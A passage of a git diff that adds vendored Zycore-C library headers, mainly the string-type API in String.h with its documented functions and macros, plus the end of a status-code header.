ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x09u) + +/** + * Insufficient memory to perform the operation. + */ +#define ZYAN_STATUS_NOT_ENOUGH_MEMORY \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Au) + +/** + * An unknown error occurred during a system function call. + */ +#define ZYAN_STATUS_BAD_SYSTEMCALL \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Bu) + +/** + * The process ran out of resources while performing an operation. + */ +#define ZYAN_STATUS_OUT_OF_RESOURCES \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Cu) + +/** + * A dependency library was not found or does have an unexpected version number or + * feature-set. + */ +#define ZYAN_STATUS_MISSING_DEPENDENCY \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Du) + +/* ---------------------------------------------------------------------------------------------- */ +/* Status codes (arg parse) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Argument was not expected. + */ +#define ZYAN_STATUS_ARG_NOT_UNDERSTOOD \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x00u) + +/** + * Too few arguments were provided. + */ +#define ZYAN_STATUS_TOO_FEW_ARGS \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x01u) + +/** + * Too many arguments were provided. + */ +#define ZYAN_STATUS_TOO_MANY_ARGS \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x02u) + +/** + * An argument that expected a value misses its value. + */ +#define ZYAN_STATUS_ARG_MISSES_VALUE \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x03u) + +/** +* A required argument is missing. +*/ +#define ZYAN_STATUS_REQUIRED_ARG_MISSING \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x04u) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_STATUS_H */ diff --git a/Theodosius/Zycore/String.h b/Theodosius/Zycore/String.h new file mode 100644 index 0000000..c3157bc --- /dev/null +++ b/Theodosius/Zycore/String.h @@ -0,0 +1,1012 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements a string type. + */ + +#ifndef ZYCORE_STRING_H +#define ZYCORE_STRING_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Constants */ +/* ============================================================================================== */ + +/** + * The initial minimum capacity (number of characters) for all dynamically allocated + * string instances - not including the terminating '\0'-character. + */ +#define ZYAN_STRING_MIN_CAPACITY 32 + +/** + * The default growth factor for all string instances. + */ +#define ZYAN_STRING_DEFAULT_GROWTH_FACTOR 2.00f + +/** + * The default shrink threshold for all string instances. + */ +#define ZYAN_STRING_DEFAULT_SHRINK_THRESHOLD 0.25f + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* String flags */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanStringFlags` datatype. + */ +typedef ZyanU8 ZyanStringFlags; + +/** + * The string uses a custom user-defined buffer with a fixed capacity. + */ +#define ZYAN_STRING_HAS_FIXED_CAPACITY 0x01 // (1 << 0) + +/* ---------------------------------------------------------------------------------------------- */ +/* String */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanString` struct. + * + * The `ZyanString` type is implemented as a size-prefixed string - which allows for a lot of + * performance optimizations. + * Nevertheless null-termination is guaranteed at all times to provide maximum compatibility with + * default C-style strings (use `ZyanStringGetData` to access the C-style string). + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanString_ +{ + /** + * String flags. + */ + ZyanStringFlags flags; + /** + * The vector that contains the actual string. + */ + ZyanVector vector; +} ZyanString; + +/* ---------------------------------------------------------------------------------------------- */ +/* View */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanStringView` struct. + * + * The `ZyanStringView` type provides a view inside a string (`ZyanString` instances, null- + * terminated C-style strings, or even not-null-terminated custom strings). A view is immutable + * by design and can't be directly converted to a C-style string. + * + * Views might become invalid (e.g. pointing to invalid memory), if the underlying string gets + * destroyed or resized. + * + * The `ZYAN_STRING_TO_VIEW` macro can be used to cast a `ZyanString` to a `ZyanStringView` pointer + * without any runtime overhead. + * Casting a view to a normal string is not supported and will lead to unexpected behavior (use + * `ZyanStringDuplicate` to create a deep-copy instead). + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanStringView_ +{ + /** + * The string data. + * + * The view internally re-uses the normal string struct to allow casts without any runtime + * overhead. + */ + ZyanString string; +} ZyanStringView; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines an uninitialized `ZyanString` instance. + */ +#define ZYAN_STRING_INITIALIZER \ + { \ + /* flags */ 0, \ + /* vector */ ZYAN_VECTOR_INITIALIZER \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Casts a `ZyanString` pointer to a constant `ZyanStringView` pointer. + */ +#define ZYAN_STRING_TO_VIEW(string) (const ZyanStringView*)(string) + +/** + * Defines a `ZyanStringView` struct that provides a view into a static C-style string. + * + * @param string The C-style string. + */ +#define ZYAN_DEFINE_STRING_VIEW(string) \ + { \ + /* string */ \ + { \ + /* flags */ 0, \ + /* vector */ \ + { \ + /* allocator */ ZYAN_NULL, \ + /* growth_factor */ 1.0f, \ + /* shrink_threshold */ 0.0f, \ + /* size */ sizeof(string), \ + /* capacity */ sizeof(string), \ + /* element_size */ sizeof(char), \ + /* destructor */ ZYAN_NULL, \ + /* data */ (char*)(string) \ + } \ + } \ + } + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constructor and destructor */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * @param capacity The initial capacity (number of characters). + * + * @return A zyan status code. + * + * The memory for the string is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringInit(ZyanString* string, ZyanUSize capacity); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanString` instance and sets a custom `allocator` and memory + * allocation/deallocation parameters. + * + * @param string A pointer to the `ZyanString` instance. + * @param capacity The initial capacity (number of characters). + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInitEx(ZyanString* string, ZyanUSize capacity, + ZyanAllocator* allocator, float growth_factor, float shrink_threshold); + +/** + * Initializes the given `ZyanString` instance and configures it to use a custom user + * defined buffer with a fixed size. + * + * @param string A pointer to the `ZyanString` instance. + * @param buffer A pointer to the buffer that is used as storage for the string. + * @param capacity The maximum capacity (number of characters) of the buffer, including + * the terminating '\0'. + * + * @return A zyan status code. + * + * Finalization is not required for strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInitCustomBuffer(ZyanString* string, char* buffer, + ZyanUSize capacity); + +/** + * Destroys the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + * + */ +ZYCORE_EXPORT ZyanStatus ZyanStringDestroy(ZyanString* string); + +/* ---------------------------------------------------------------------------------------------- */ +/* Duplication */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanString` instance by duplicating an existing string. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * @param source A pointer to the source string. + * @param capacity The initial capacity (number of characters). + * + * This value is automatically adjusted to the size of the source string, if + * a smaller value was passed. + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `source` is a view into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * The memory for the string is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringDuplicate(ZyanString* destination, + const ZyanStringView* source, ZyanUSize capacity); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanString` instance by duplicating an existing string and sets a + * custom `allocator` and memory allocation/deallocation parameters. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * @param source A pointer to the source string. + * @param capacity The initial capacity (number of characters). + + * This value is automatically adjusted to the size of the source + * string, if a smaller value was passed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `source` is a view into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringDuplicateEx(ZyanString* destination, + const ZyanStringView* source, ZyanUSize capacity, ZyanAllocator* allocator, + float growth_factor, float shrink_threshold); + +/** + * Initializes a new `ZyanString` instance by duplicating an existing string and + * configures it to use a custom user defined buffer with a fixed size. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * @param source A pointer to the source string. + * @param buffer A pointer to the buffer that is used as storage for the string. + * @param capacity The maximum capacity (number of characters) of the buffer, including the + * terminating '\0'. + + * This function will fail, if the capacity of the buffer is less or equal to + * the size of the source string. + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `source` is a view into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * Finalization is not required for strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringDuplicateCustomBuffer(ZyanString* destination, + const ZyanStringView* source, char* buffer, ZyanUSize capacity); + +/* ---------------------------------------------------------------------------------------------- */ +/* Concatenation */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanString` instance by concatenating two existing strings. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * + * This function will fail, if the destination `ZyanString` instance equals + * one of the source strings. + * @param s1 A pointer to the first source string. + * @param s2 A pointer to the second source string. + * @param capacity The initial capacity (number of characters). + + * This value is automatically adjusted to the combined size of the source + * strings, if a smaller value was passed. + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `s1` or `s2` are views into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * The memory for the string is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringConcat(ZyanString* destination, + const ZyanStringView* s1, const ZyanStringView* s2, ZyanUSize capacity); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanString` instance by concatenating two existing strings and sets + * a custom `allocator` and memory allocation/deallocation parameters. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * + * This function will fail, if the destination `ZyanString` instance + * equals one of the source strings. + * @param s1 A pointer to the first source string. + * @param s2 A pointer to the second source string. + * @param capacity The initial capacity (number of characters). + * + * This value is automatically adjusted to the combined size of the + * source strings, if a smaller value was passed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `s1` or `s2` are views into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringConcatEx(ZyanString* destination, const ZyanStringView* s1, + const ZyanStringView* s2, ZyanUSize capacity, ZyanAllocator* allocator, float growth_factor, + float shrink_threshold); + +/** + * Initializes a new `ZyanString` instance by concatenating two existing strings and + * configures it to use a custom user defined buffer with a fixed size. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * + * This function will fail, if the destination `ZyanString` instance equals + * one of the source strings. + * @param s1 A pointer to the first source string. + * @param s2 A pointer to the second source string. + * @param buffer A pointer to the buffer that is used as storage for the string. + * @param capacity The maximum capacity (number of characters) of the buffer. + * + * This function will fail, if the capacity of the buffer is less or equal to + * the combined size of the source strings. + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `s1` or `s2` are views into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * Finalization is not required for strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringConcatCustomBuffer(ZyanString* destination, + const ZyanStringView* s1, const ZyanStringView* s2, char* buffer, ZyanUSize capacity); + +/* ---------------------------------------------------------------------------------------------- */ +/* Views */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns a view inside an existing view/string. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param source A pointer to the source string. + * + * @return A zyan status code. + * + * The `ZYAN_STRING_TO_VEW` macro can be used to pass any `ZyanString` instance as value for the + * `source` string. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideView(ZyanStringView* view, + const ZyanStringView* source); + +/** + * Returns a view inside an existing view/string starting from the given `index`. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param source A pointer to the source string. + * @param index The start index. + * @param count The number of characters. + * + * @return A zyan status code. + * + * The `ZYAN_STRING_TO_VEW` macro can be used to pass any `ZyanString` instance as value for the + * `source` string. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideViewEx(ZyanStringView* view, + const ZyanStringView* source, ZyanUSize index, ZyanUSize count); + +/** + * Returns a view inside a null-terminated C-style string. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param string The C-style string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideBuffer(ZyanStringView* view, const char* string); + +/** + * Returns a view inside a character buffer with custom length. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param buffer A pointer to the buffer containing the string characters. + * @param length The length of the string (number of characters). + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideBufferEx(ZyanStringView* view, const char* buffer, + ZyanUSize length); + +/** + * Returns the size (number of characters) of the view. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param size Receives the size (number of characters) of the view. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewGetSize(const ZyanStringView* view, ZyanUSize* size); + +/** + * Returns the C-style string of the given `ZyanString` instance. + * + * @warning The string is not guaranteed to be null terminated! + * + * @param string A pointer to the `ZyanStringView` instance. + * @param value Receives a pointer to the C-style string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewGetData(const ZyanStringView* view, const char** buffer); + +/* ---------------------------------------------------------------------------------------------- */ +/* Character access */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the character at the given `index`. + * + * @param string A pointer to the `ZyanStringView` instance. + * @param index The character index. + * @param value Receives the desired character of the string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetChar(const ZyanStringView* string, ZyanUSize index, + char* value); + +/** + * Returns a pointer to the character at the given `index`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The character index. + * @param value Receives a pointer to the desired character in the string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetCharMutable(ZyanString* string, ZyanUSize index, + char** value); + +/** + * Assigns a new value to the character at the given `index`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The character index. + * @param value The character to assign. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringSetChar(ZyanString* string, ZyanUSize index, char value); + +/* ---------------------------------------------------------------------------------------------- */ +/* Insertion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Inserts the content of the source string in the destination string at the given `index`. + * + * @param destination The destination string. + * @param index The insert index. + * @param source The source string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsert(ZyanString* destination, ZyanUSize index, + const ZyanStringView* source); + +/** + * Inserts `count` characters of the source string in the destination string at the given + * `index`. + * + * @param destination The destination string. + * @param destination_index The insert index. + * @param source The source string. + * @param source_index The index of the first character to be inserted from the source + * string. + * @param count The number of chars to insert from the source string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertEx(ZyanString* destination, ZyanUSize destination_index, + const ZyanStringView* source, ZyanUSize source_index, ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Appending */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Appends the content of the source string to the end of the destination string. + * + * @param destination The destination string. + * @param source The source string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppend(ZyanString* destination, const ZyanStringView* source); + +/** + * Appends `count` characters of the source string to the end of the destination string. + * + * @param destination The destination string. + * @param source The source string. + * @param source_index The index of the first character to be appended from the source string. + * @param count The number of chars to append from the source string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendEx(ZyanString* destination, const ZyanStringView* source, + ZyanUSize source_index, ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Deletion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Deletes characters from the given string, starting at `index`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The index of the first character to delete. + * @param count The number of characters to delete. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringDelete(ZyanString* string, ZyanUSize index, ZyanUSize count); + +/** + * Deletes all remaining characters from the given string, starting at `index`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The index of the first character to delete. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringTruncate(ZyanString* string, ZyanUSize index); + +/** + * Erases the given string. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringClear(ZyanString* string); + +/* ---------------------------------------------------------------------------------------------- */ +/* Searching */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Searches for the first occurrence of `needle` in the given `haystack` starting from the + * left. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringLPos(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index); + +/** + * Searches for the first occurrence of `needle` in the given `haystack` starting from the + * left. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * @param index The start index. + * @param count The maximum number of characters to iterate, beginning from the start + * `index`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringLPosEx(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); + +/** + * Performs a case-insensitive search for the first occurrence of `needle` in the given + * `haystack` starting from the left. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringLPosI(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index); + +/** + * Performs a case-insensitive search for the first occurrence of `needle` in the given + * `haystack` starting from the left. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * @param index The start index. + * @param count The maximum number of characters to iterate, beginning from the start + * `index`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringLPosIEx(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); + +/** + * Searches for the first occurrence of `needle` in the given `haystack` starting from the + * right. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringRPos(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index); + +/** + * Searches for the first occurrence of `needle` in the given `haystack` starting from the + * right. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * @param index The start index. + * @param count The maximum number of characters to iterate, beginning from the start + * `index`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringRPosEx(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); + +/** + * Performs a case-insensitive search for the first occurrence of `needle` in the given + * `haystack` starting from the right. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringRPosI(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index); + +/** + * Performs a case-insensitive search for the first occurrence of `needle` in the given + * `haystack` starting from the right. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * @param index The start index. + * @param count The maximum number of characters to iterate, beginning from the start + * `index`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringRPosIEx(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Comparing */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Compares two strings. + * + * @param s1 The first string + * @param s2 The second string. + * @param result Receives the comparison result. + * + * Values: + * - `result < 0` -> The first character that does not match has a lower value + * in `s1` than in `s2`. + * - `result == 0` -> The contents of both strings are equal. + * - `result > 0` -> The first character that does not match has a greater value + * in `s1` than in `s2`. + * + * @return `ZYAN_STATUS_TRUE`, if the strings are equal, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringCompare(const ZyanStringView* s1, const ZyanStringView* s2, + ZyanI32* result); + +/** + * Performs a case-insensitive comparison of two strings. + * + * @param s1 The first string + * @param s2 The second string. + * @param result Receives the comparison result. + * + * Values: + * - `result < 0` -> The first character that does not match has a lower value + * in `s1` than in `s2`. + * - `result == 0` -> The contents of both strings are equal. + * - `result > 0` -> The first character that does not match has a greater value + * in `s1` than in `s2`. + * + * @return `ZYAN_STATUS_TRUE`, if the strings are equal, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringCompareI(const ZyanStringView* s1, const ZyanStringView* s2, + ZyanI32* result); + +/* ---------------------------------------------------------------------------------------------- */ +/* Case conversion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Converts the given string to lowercase letters. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringToLowerCase(ZyanString* string); + +/** + * Converts `count` characters of the given string to lowercase letters. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The start index. + * @param count The number of characters to convert, beginning from the start `index`. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringToLowerCaseEx(ZyanString* string, ZyanUSize index, + ZyanUSize count); + +/** + * Converts the given string to uppercase letters. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringToUpperCase(ZyanString* string); + +/** + * Converts `count` characters of the given string to uppercase letters. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The start index. + * @param count The number of characters to convert, beginning from the start `index`. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringToUpperCaseEx(ZyanString* string, ZyanUSize index, + ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Resizes the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * @param size The new size of the string. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringResize(ZyanString* string, ZyanUSize size); + +/** + * Changes the capacity of the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * @param capacity The new minimum capacity of the string. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringReserve(ZyanString* string, ZyanUSize capacity); + +/** + * Shrinks the capacity of the given string to match it's size. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * 